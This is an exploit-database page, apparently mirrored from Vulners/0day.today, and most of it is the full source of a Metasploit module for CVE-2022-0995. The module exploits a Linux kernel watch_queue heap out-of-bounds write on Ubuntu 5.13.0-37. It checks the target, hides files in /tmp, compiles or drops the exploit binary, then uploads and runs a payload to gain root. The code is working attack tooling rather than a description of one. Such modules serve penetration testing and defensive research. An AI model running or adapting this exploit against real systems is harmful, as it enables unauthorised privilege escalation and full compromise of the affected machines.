Lucene search
K

Linux Kernel watch_queue Out-Of-Bounds Write Exploit

🗓️ 21 Apr 2022 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 595 Views

Linux Kernel watch_queue Out-Of-Bounds Write Exploit. Exploits vulnerability in watch_queue event notification system in Linux Kernel, causing a denial of service if multiple failed attempts occur

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Watch Queue Out of Bounds Write',
        'Description' => %q{
          This module exploits a vulnerability in the Linux Kernel's watch_queue event
          notification system. It relies on a heap out-of-bounds write in kernel memory.
          The exploit may fail on the first attempt so multiple attempts may be needed.
          Note that the exploit can potentially cause a denial of service if multiple
          failed attemps occur, however this is unlikely.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jann Horn', # discovery and poc
          'bonfee',     # PoC
          'bwatters-r7' # Aka @tychos_moose, Metasploit Module
        ],
        'DisclosureDate' => '2022-03-14',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2022-0995' ],
          [ 'URL', 'https://github.com/Bonfee/CVE-2022-0995' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb' ],
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0995' ],
          [ 'PACKETSTORM', '166770' ],
        ],
        'Targets' => [
          [ 'Ubuntu Linux 5.13.0-37', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ UNRELIABLE_SESSION ], # Not expected to get a shell every time due to heap spray sometimes not working.
          'Stability' => [ CRASH_OS_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options [
      OptBool.new('DEBUG_SOURCE', [ false, 'Use source code with debug prints to help troubleshoot', false ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def pull_version
    kernel_data = kernel_release
    version_array = kernel_data.split('-')
    if version_array.length < 3
      print_error("Failed to parse the kernel version data: #{kernel_data}")
      return nil
    end
    vprint_status("Version array: #{version_array}")
    major_version = Rex::Version.new(version_array[0])
    vprint_status("major_version: #{major_version}")
    minor_version = version_array[1].strip unless version_array[1].nil?
    vprint_status("minor_version: #{minor_version}")
    kernel_type = version_array[2].strip unless version_array[2].nil?
    return [major_version, minor_version, kernel_type]
  end

  def module_check
    # Vulnerable versions are under 5.17:rc8
    # This module only has offsets for Ubuntu 5.13.0-37
    if is_root? && !datastore['ForceExploit']
      fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
    end
    if datastore['DEBUG_SOURCE'] && datastore['COMPILE'] != 'True'
      fail_with(Failure::BadConfig, 'DEBUG_PRINT is only supported when COMPILE is set to True')
    end
    unless kernel_version =~ /[uU]buntu/
      fail_with(Failure::NoTarget, "Unsupported Distro: '#{version}'")
    end
    arch = kernel_hardware
    unless arch.include?('x86_64')
      fail_with(Failure::NoTarget, "Unsupported architecture: '#{arch}'")
    end
    version_info = pull_version
    if version_info.nil?
      fail_with(Failure::NoTarget, 'Failed to obtain kernel version')
    end
    major_version, minor_version, kernel_type = version_info
    vulnerable_version = Rex::Version.new('5.13.0')
    unless major_version == vulnerable_version && minor_version == '37' && kernel_type.include?('generic')
      fail_with(Failure::NoTarget, "No offsets for '#{kernel_release}'")
    end
  end

  def check
    # Vulnerable versions are under 5.17:rc8
    # This module only has offsets for 5.13.0-37
    vulnerable_version = Rex::Version.new('5.17.0')
    version_info = pull_version
    if version_info.nil?
      return CheckCode::Unknown('Failed to obtain kernel version')
    end

    major_version = version_info[0]
    if major_version <= vulnerable_version
      return CheckCode::Appears
    else
      return CheckCode::Safe("The target kernel version #{major_version} is later than the last known vulnerable version aka #{vulnerable_version}")
    end
  end

  def exploit
    module_check
    base_dir = datastore['WritableDir'].to_s
    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_path = "#{exploit_dir}/#{executable_name}"
    if file_exist?(exploit_dir)
      fail_with(Failure::BadConfig, 'Exploit dir already exists')
    end
    mkdir(exploit_dir)
    register_dir_for_cleanup(exploit_dir)

    # Upload exploit
    if live_compile?
      vprint_status('Live compiling exploit on system...')
      if datastore['DEBUG_SOURCE']
        code = exploit_source('cve-2022-0995', 'cve-2022-0995_debug.c')
      else
        code = exploit_source('cve-2022-0995', 'cve-2022-0995.c')
      end
      upload_and_compile(exploit_path, code, '-no-pie -static')
    else
      vprint_status('Dropping pre-compiled exploit on system...')
      precompiled_binary = 'cve-2022-0995.x64.elf'
      vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
      upload_and_chmodx(exploit_path, exploit_data('cve-2022-0995', precompiled_binary))
    end

    register_file_for_cleanup(exploit_path)

    # Upload payload
    payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx(payload_path, generate_payload_exe)

    # Launch exploit
    print_status('Launching exploit...')
    cmd_string = "#{exploit_path} #{payload_path}"
    vprint_status("Running: #{cmd_string}")
    begin
      output = cmd_exec(cmd_string)
      vprint_status(output)
    rescue Error => e
      elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
      print_error("Exploit failed: #{e}")
      print_error("Ensure deletion of #{exploit_path} and #{payload_path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2022 00:00Current
0.1Low risk
Vulners AI Score0.1
CVSS 27.2
CVSS 3.17.8
EPSS0.27973
595